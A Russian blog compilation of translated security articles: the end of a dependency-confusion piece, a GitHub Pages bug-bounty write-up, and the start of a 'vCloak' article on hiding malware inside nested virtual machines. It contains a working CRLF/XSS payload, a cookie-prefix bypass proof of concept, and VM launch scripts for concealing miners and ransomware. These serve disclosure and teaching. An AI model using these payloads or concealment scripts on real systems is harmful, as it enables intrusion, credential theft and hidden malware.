Такое же использование пакетов npm, устанавливаемых как на внутренние серверы, так и на ПК отдельных разработчиков, наблюдалось и в нескольких других успешных атаках на другие компании, причём некоторые установки часто выполнялись через часы или даже минуты после загрузки пакетов.

О, а имена PayPal, с которых всё началось? Они тоже сработали, что привело к ещё одной награде в размере 30 000 долларов. Фактически размер большинства присужденных премий за обнаружение ошибки был максимально разрешённым в рамках политики каждой программы, а иногда и превышал максимум, подтверждая в целом высокую серьезность уязвимости путаница зависимостей.

К затронутым компаниям также относятся Netflix, Yelp и Uber.

Это не баг, это фича

Несмотря на получение большого количества результатов по уязвимости путаница зависимости, одна деталь была и в определённой степени остаётся до сих пор неясной: почему это происходит? Каковы основные первопричины уязвимости такого рода?

Большинство затронутых организаций неохотно делились дальнейшими техническими подробностями о своих первопричинах и стратегиях смягчения последствий, но несколько интересных деталей всё же появилось во время моих исследований и общения со специалистами по безопасности.

Например, главный виновник путаницы зависимостей в Python, это, по-видимому, неправильное использование небезопасного по своей конструкции аргумента командной строки --extra-index-url. Если, используя этот аргумент с командой pip install library, указать собственный индекс пакета, можно обнаружить, что он работает ожидаемым образом, но то, что pip на самом деле делает за кулисами, выглядит примерно так:

  • проверяет существование library в указанном (внутреннем) индексе пакетов;

  • проверяет существование library в публичном индексе пакетов (PyPI);

  • устанавливает любую найденную версию. Если пакет существует в обоих индексах, то по умолчанию он устанавливается из источника с более высоким номером версии.

Поэтому загрузка пакета с именем library 9000.0.0 в PyPI приведёт к захвату зависимости в приведённом выше примере.

Хотя такое поведение уже было широко известно, простого поиска в GitHub выражения --extra-index-url было достаточно, чтобы найти несколько уязвимых сценариев, принадлежащих крупным организациям, включая ошибку, влияющую на компонент Microsoft .NET Core. Данная уязвимость, которая, возможно, позволила бы добавлять бэкдоры в .NET Core, к сожалению, была обнаружена вне рамок программы вознаграждения за нахождение ошибок в .NET.

В Ruby команда gem install --source работает аналогичным образом, но мне не удалось подтвердить, было ли её использование основной причиной каких-либо моих находок.

Конечно, замена --extra-index-url на --index-url быстро и прямо исправляет уязвимость, но снизить риск некоторых других вариантов уязвимости путаница зависимостей оказалось гораздо труднее.

JFrog Artifactory, часть программного обеспечения, широко используемая для размещения внутренних пакетов всех типов, предлагает возможность смешивать внутренние и публичные библиотеки в одном виртуальном репозитории, значительно упрощая управление зависимостями. Однако несколько клиентов заявили, что в Artifactory используется точно такой же уязвимый алгоритм, что был описан выше, при выборе между обслуживанием внутреннего и внешнего пакета с одним именем. На момент написания статьи не было никакого способа изменить это поведение по умолчанию.

В JFrog, как сообщается, знают об этой проблеме, но рассматривает её возможное исправление как запрос функции без расчётного времени его реализации, в то время как некоторые клиенты компании прибегли к изменению системной политики управления зависимостями, чтобы уменьшить риск путаницы зависимостей.

Компания Microsoft также предлагает аналогичную службу размещения пакетов под названием Azure Artifacts. По результатам одного из моих отчётов в эту службу были внесены некоторые незначительные улучшения, чтобы она могла гарантированно предоставить надёжный путь обхода уязвимостей путаница зависимостей. Как ни странно, эта проблема была обнаружена не в результате тестирования самой службы Azure Artifacts, а, скорее, путём успешной атаки на облачную систему Microsoft Office 365, в результате чего за этот отчёт была получена самая высокая награда Azure в размере 40 000 долларов.

Более подробную информацию о первопричинах и рекомендациях по профилактике можно найти в техническом документе Microsoft 3 Ways to Mitigate Risk When Using Private Package Feeds (Три способа снижения риска при использовании каналов частных пакетов).

Будущие исследования?

Хотя многие крупные технологические компании уже осведомлены об уязвимости этого типа и либо исправили её в своей инфраструктуре, либо работают над внедрением мер по смягчению последствий, у меня сохраняется ощущение, что есть ещё что-то, что нужно обнаружить.

В частности, я считаю, что поиск новых и умных способов утечки имён внутренних пакетов откроет ещё более уязвимые системы, а поиск целевых альтернативных языков программирования и репозиториев откроет некоторые дополнительные направления атак на основе ошибок, связанных с путаницей зависимостей.

Тем не менее я искренне призываю вас, независимо от вашего уровня опыта, потратить некоторое время и проработать эту идею в глубине своего сознания, независимо от того, связана она с безопасностью управления зависимостями или нет.

Даже крупные компании совершают порой ошибки и допускают уязвимости. На нашем курсе Этичный хакер мы учим студентов искать эти уязвимости и зарабатывать на этом. Если устали чинить баги в коде и постоянно надстраивать что-то новое приходите к нам, будем учиться ломать, находя бреши в софте даже у крутых корпораций.

Узнайте, как прокачаться в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Как хакнуть Github и заработать 35000?

12.04.2021 18:13:34 | Автор: admin

Когда я нашёл эту уязвимость и сообщил о ней, она стала моим первым оплаченным баг-репортом на HackerOne. $35,000 это также самая высокая награда, которую я получил от HackerOne (и я считаю, что самая высокая оплата от GitHub на сегодня). Многие найденные ошибки, кажется, это удача и интуиция, вместе взятые. В этом посте я расскажу, как мыслил, приближаясь к цели.


Как началась история

Ковид ударил весной, в первый год старшей школы. От нечего делать между онлайн-занятиями я начал охоту за багами. Конкретно эта награда была за сообщение об уязвимости приватных страниц Github в рамках программы Баг Баунти. В частности, было и два бонуса CTF (capture the flag состязание по типу захвата флага, здесь в информационной безопасности):

  • $10000 чтение флага flag.private-org.github.io без взаимодействия с пользователем. Бонус в $5000 за то, что флаг читается с аккаунта внутри приватной организации.

  • $5000: чтение флага flag.private-org.github.io через взаимодействие с пользователем.

Поток аутентификации

Страницы GitHub размещаются в отдельном домене github.io, поэтому куки-файлы аутентификации github.com не отправляются на сервер приватных страниц. Таким образом, аутентификация частной страницы не имеет возможности определить личность пользователя без дополнительной интеграции с github.com, поэтому GitHub создал собственный поток аутентификации. И ввёл возможность существования багов. На момент отчёта этот поток выглядел так:

А теперь подробнее.

При посещении приватной страницы сервер проверяет, существует ли файл куки __Host-gh_pages_token. Если этот файл не установлен или установлен неправильно, сервер приватной страницы перенаправит на https://github.com/login. Этот начальный редирект также устанавливает nonce, который хранится в куки __Host-gh_pages_session.

Обратите внимание, что этот куки использует префикс куки __Host-, который, в теории, в качестве дополнительной защиты в глубину, предотвращает его установку из JS с родительского домена.

/login перенаправляет на /pages/auth?nonce=&page_id=&path=. Затем эта конечная точка генерирует временный куки-файл аутентификации, который она передаёт https://pages-auth.github.com/redirect в параметре token; nonce, page_id, и path присылаются аналогично.

/redirect просто перенаправляет на https://repo.org.github.io/__/auth. Эта последняя конечная точка затем устанавливает куки аутентификации для домена repo.org.github.io, __Host-gh_pages_token и __Host-gh_pages_id. Также вместе с ранее установленным __Host-gh_pages_session на валидность проверяется nonce.

На протяжении всего потока аутентификации такая информация, как исходный путь запроса и идентификатор страницы, хранится в параметрах запроса path и page_id соответственно. Nonce также передаётся в параметре nonce. Хотя поток аутентификации, возможно, немного изменился (отчасти из-за этого отчёта), общая идея остаётся прежней.

Эксплоит

CRLF возвращается

Первая уязвимость CRLF-инъекция в параметре page_id запроса https://repo.org.github.io/__/auth.

Возможно, лучший способ найти уязвимые места поиграть. Исследуя поток аутентификации, я заметил, что парсинг page_id, похоже, игнорировал пробельные символы. Интересно, что он также рендерил параметр непосредственно в заголовок Set-Cookie. К примеру, page_id=12345%20 вернул это:

Set-Cookie: __Host-gh_pages_id=12345 ; Secure; HttpOnly; path=/

Псевдокод предположительно такой:

page_id = query.page_iddo_page_lookup(to_int(page_id))set_page_id_cookie(page_id)

Другими словами, page_id преобразуется в целое число, а также отображается напрямую в заголовок Set-Cookie. Проблема была в том, что мы не можем отобразить текст напрямую. Несмотря на то, что у нас была классическая CRLF-инъекция, размещение любых непробельных символов привело к поломке парсинга целого. Мы могли бы прервать поток аутентификации, отправив page_id=12345%0d%0a%0d%0a, но, кроме интересного ответа, никакого немедленного воздействия не было.

; Secure; HttpOnly; path=/Cache-Control: privateLocation: https://83e02b43.near-dimension.github.io/X-GLB-L

Дополнительное примечание: заголовок Location: был добавлен после заголовка Set-Cookie, поэтому наш ответ Location выталкивает за пределы отправленных HTTP-заголовков. Это редирект на 302, но, несмотря на это, заголовок Location игнорируется и отображается содержимое тела.

Из грязи в князи

Немного просмотрев на GitHub Enterprise (который дал доступ к исходному коду), я заподозрил, что сервер приватных страниц реализован на Nginx OpenResty. Будучи относительно низкоуровневым, возможно, он имел проблемы с нулевыми байтами. А попытка не пытка, правильно?

Оказалось, что добавление нулевого байта прерывает парсинг целого. Другими словами, можно передать такую полезную нагрузку:

"?page_id=" + encodeURIComponent("\r\n\r\n\x00<script>alert(origin)</script>")

А вот и XSS!

Обратите внимание, что, если в заголовке есть нулевой байт, ответ будет отклонён. Таким образом, нулевой байт должен прийти в начале тела (это означает, что мы не можем выполнить атаку через инъекцию в заголовок).

Мы добились выполнения произвольного JavaScript на странице приватного домена. Единственная проблема нужен способ обойти nonce. Параметры page_id и path известны, а nonce не позволяет нам отправлять жертв вниз по потоку аутентификации с отравленным page_id. Нам нужно либо зафиксировать, либо спрогнозировать nonce.

Обходим nonce

Первое наблюдение поддомены одной организации могут устанавливать куки-файлы друг на друга. Так происходит потому, что *.github.io нет в публичном списке суффиксов. Таким образом установленные на private-org.github.io куки передаются на private-page.private-org.github.io.

Nonce обойти будет легко, если мы как-то сможем обойти защиту префикса __Host-. Просто установим фальшивый nonce на страницу поддомена того же уровня, значение будет передано ниже. К счастью, этот префикс не принудителен во всех браузерах...

Ну, ладно... неправильно говорить не во всех. Похоже, в смысле этого обхода уязвим только IE. Придётся постараться. А что, если атаковать сам nonce? генерация выглядит надёжной, и, если честно, криптография не моя сильная сторона. Найти обход применяемой в nonce энтропии, несмотря ни на что, это казалось маловероятным. Как же тогда зафиксировать nonce?

Вернёмся к истокам RFC. В конце концов, я наткнулся на интересную идею как нормализовать куки? В частности, как следует обращаться с куки с учётом верхнего регистра. "__HOST-" это то же самое, что "__Host-"? Легко убедиться, что в браузерах с куками разного регистра обращаются по-разному:

document.cookie = "__HOST-Test=1"; // worksdocument.cookie = "__Host-Test=1"; // fails

Оказывается, сервер приватных страниц GitHub при разборе куки-файлов игнорирует заглавные буквы. И у нас есть префиксный обход. А теперь собираем доказательство концепции атаки XSS!

<script>const id = location.search.substring("?id=".length)document.cookie = "__HOST-gh_pages_session=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15; domain=.private-org.github.io";location = "https://github.com/pages/auth?nonce=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15&page_id=" + id + "%0d%0a%0d%0a%00<script>alert(origin)%3c%2fscript>&path=Lw";</script>

Уже этого достаточно, чтобы заработать бонус в $5000. Но я хотел посмотреть, получится ли продвинуться дальше.

Отравление кэша

И вот ещё один недостаток дизайна выяснилось, что в ответ на конечную точку /__/auth? кэшировалось только целое значение page_id. Само по себе это безвредно: установленный этой конечной точкой токен скопирован на личную страницу и не имеет никаких других привилегий.

В то же время такая практика в проектировании несколько сомнительна. Получение токенами дополнительных привилегий потенциально может стать источником проблем безопасности.

Независимо от этого, такое кэширование лёгкий способ усугубить атаку. Поскольку он делается на разобранном целочисленном значении, успешная атака на кэш с полезной нагрузкой XSS может повлиять на других пользователей, которые даже не взаимодействовали с вредоносной нагрузкой, как показано ниже:

Злоумышленник контролирует unprivileged.org.github.io и хочет добраться до privileged.org.github.io. Он атакует поток аутентификации unprivileged.org.github.io и полезная нагрузка XSS кэшируется.

Когда привилегированный пользователь посещает unprivileged.org.github.io, он подвергается XSS атаке на домен unprivileged.org.github.io. Куки могут устанавливаться на общем родительском домене org.github.io, поэтому теперь злоумышленник может атаковать privileged.org.github.io.

Эти действия позволяют любому злоумышленнику с разрешениями на чтение приватной страницы постоянно атаковать поток аутентификации этой страницы. Ё-моё!

Публичные и приватные страницы

Чтобы получить бонус 15000 долларов, нужно выполнить эту атаку с учётной записи пользователя, которого в организации нет. И нам везёт: мы можем злоупотребить тем, что кажется ещё одной ошибкой конфигурации разделением страниц на публичные и приватные.

Ошибка в конфигурации приватных страниц позволяет публичным репозиториям также иметь свои собственные приватные страницы. После обычной аутентификации эти страницы открыты для всех. Если такая публично-приватная страница есть у организации, она доступна для чтения любому пользователю Github. Получить доступ можно так:

Это происходит, когда репозиторий приватных страниц делают публичным. Ситуация вполне правдоподобна: например, организация может изначально создать приватный репозиторий с соответствующей приватной страницей. Позже она может решить открыть исходный код проекта, изменив статус репозитория на общедоступный.

В комбинации с изложенным выше получается, что непривилегированный пользователь вне организации может с опорой на приватно-публичную страницу скомпрометировать потоки аутентификации внутренних приватных страниц.

В целом это даёт хорошее доказательство концепции, показывающее, как злоумышленник извне может использовать сотрудника организации, чтобы перейти на другие приватные страницы.

Так мы заработали максимальный бонус CTF. Устойчивость достигается отравлением кэша или другим техниками, которые мы оставим читателям в качестве упражнения.

Заключение

Этой уязвимости присвоили высокий приоритет, базовая выплата составила 20 000 долларов, а с бонусом CTF мы заработали 35 000 долларов. Довольно круто, что такая относительно малоизвестная уязвимость, как инъекция CRLF, обнаружилась на GitHub. Хотя большая часть кода написана на Ruby, некоторые компоненты, такие как аутентификация приватной страницы, написаны не на этом языке и могут быть уязвимы к низкоуровневым атакам. В общем, везде, где есть сложные взаимодействия, ошибки только ждут, чтобы мы их нашли.

Обнаруженная уязвимость кажется одной на миллион. Это как продеть нитку в иголку должен выстроиться целый ряд событий. В то же время, думаю, чтобы найти нечто подобное, требуется в меру развитая интуиция и навыки, которые как раз можно получить на курсе Этичный хакер.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Виртуалка-камуфляж Вредоносный подход к виртуализации

28.05.2021 14:21:34 | Автор: admin


Виртуализация это палка о двух концах

Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию сегодня это называется облако.

Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы одни из них лишь продуманы концептуально, другие уже встречаются на практике применяющиеся при вторжениях для маскировки вредоносной активности. Это деструктивная виртуализация или, как мы ее называем, виртуальный камуфляж.

В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в vCloak (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как доказательство осуществимости. Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.

Предыстория виртуализации


Как упоминалось выше, виртуализация это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием разделение времени (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип совместное использование ресурсов машины, но с поддержанием логического разделения.


Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (изображение принадлежит пользователю Wikipedia ArnoldReinhold, лицензировано подCreative Commons BY-SA 3.0)

С чего начиналась современная виртуализация


В статье Formal Requirements for Virtualizable Third Generation Architectures (Формальные требования к виртуализируемым архитектурам третьего поколения)Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.


1971 Representation // Как виртуализацию видели в 1971

Modern Representation // Современное представление

VMM // Монитор виртуальной машины

Hardware // Железо

VM // Виртуальная машина

Applications // Приложения

Operating System // Операционная система

Virtual Machine // Виртуальная машина

Virtual Machine Monitor // Монитор виртуальной машины

Physical Machine/Hardware // Физическая машина/железо

Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято изusenix)

Глоссарий по виртуализации


  • Гипервизор/VMM (Монитор виртуальной машины) мозг, обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им.
  • Хост-машина машина (физическая или виртуальная), на которой выполняется VMM
  • Гость /VM/Виртуальная машина машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
  • Кольца защиты:
  • Четыре периметра (кольцо 0 кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне
  • Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
  • Железо проверяет текущий уровень привилегий(CPL), указанный вCS (сегменте с кодом)выполняющего процесса, сравнивая этот показатель сDPL (уровнем привилегий дескриптора), относящимся к целевой области памяти
  • Привилегированные инструкции:
  • Как правило, необходимо выполнять в кольце 0
  • Управляют критически важным низкоуровевым исполнением (HLT,LIDT)
  • Отображение в памяти (INVLPG)
  • Чтение/запись в специальные регистры (RDMSR,WRMSR,MOVCRx)
  • Могут предоставлять неограниченный доступ к хостовой OS
  • Чувствительные инструкции чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода (IN/OUT,MOV <MEMORY_MAPPED_REGISTER>)
    Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся (POPF)
    Могут предоставлять неограниченный доступ через гостевую VM
  • Инструкции перехвата перехват команд и перенаправление логики управления
  • Эмуляция Программы, действующие как имитация аппаратного обеспечения с издержками на трансляцию
  • Полная виртуализация:
  • Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение
  • Работает весьма медленно из-за издержек, связанных с эмуляцией
  • Паравиртуализация:
  • Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю
  • Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать
  • Виртуализация с аппаратной поддержкой
  • Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа
  • Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)


Рисунок 3: Типы виртуализации

Virtualization // Виртуализация

Bare metal hypervisors // Гипервизоры для голого железа

Hosted Hypervisors // Хостовые гипервизоры

Emulators // Эмуляторы

Hardware virtualiaztion // Аппаратная виртуализация

Интуитивное представление о виртуализации


В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций.

Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в буфере ассоциативной трансляции(INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми обработчиками прерываний).

Чувствительные инструкции можно трактовать как инструкции, привилегированные с точки зрения гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV ) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр EFLAGS (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий).

Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.

В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого кольцо 1 или режим администратора). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представилиVT-xиAMD-V, соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на виртуализацию блока управления памятью (MMU). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности что бесценно в облачной среде.

Виртуализуй и защищай



Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем ВикипедииV4711, по лицензииCreative Commons BY-SA 4.0)

Важнейший довод в пользу виртуализации использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.

Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:

  • Драйверы и совместное использование (Рисунок 5, Круг #1):
  • Мгновенные снимки (Рисунок 5, Круг #2):
  • Побег из песочницы (Рисунок 5, Круг #3):
  • Типы уязвимостей:


Виртуализуй и атакуй


Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу Bashware, показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.

14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием RagnarLocker. Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем Maze.

Во всех атаках, рассмотренных выше, использовался VirtualBox,и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:

  • Доверенный гипервизор если гипервизор является доверенным, то выполняющий его гость также является доверенным
  • Бэкдор злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора
  • Практическая невидимость современные механизмы защиты не видят внутреннего состояния VM
  • Присущее технологии закрепление SSL-сертификата на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
  • Присущее технологии камуфлирование вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить
  • Полностью контролируется атакующим упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
  • Портируемость высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения
  • Персистентность планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять (ShadowBunny)
  • Эффект неожиданности такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован

При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой темный аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.

Виртуализация с аппаратной поддержкой и KVM


Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.

Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:

Режим администратора

  • VMXOFF, VMXON
  • VMWRITE и VMREAD

Непривилегированный (гостевой) режим

  • VMLUANCH и VMRESUME

VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.

К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.

История атаки


Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)

  1. Привилегированный процесс ветвит и распаковывает vCloak1 в дочерний процесс (предполагается)
  2. vCloak1 конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
  3. Из Ubuntu vCloak2 конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже):


Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.



Рисунок 5: Ход атаки

Подготовка камуфляжа для уровня 1


Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехомскомпилировать Ubuntu для firecracker) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:

attacker@host:~$ git clone https://github.com/ch-mk/vCloak.gitattacker@host:~$ cd PoCattacker@host:~/PoC$ cat vcloak1.sh# запускаем демон virtio, чтобы предоставить файлы хостаvirtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntuqemu-system-x86_64 \-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \-device vhost-user-fs-pci,chardev=char0,tag=myfs \-object memory-backend-memfd,id=mem,size=4G,share=on \-numa node,memdev=mem \attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа


Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs

В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.

Подготовка камуфляжа для уровня 2


vCloak2 выполняет ядро VT-x с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием Вложенная виртуализация.

attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVMkvm_intel 282624 0kvm 663552 1 kvm_intel

Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа

Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде kernel.elf, с единственным процессом, выполняемым из корневой директории (/) файловой системы, передаваемой как fs.img. Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.

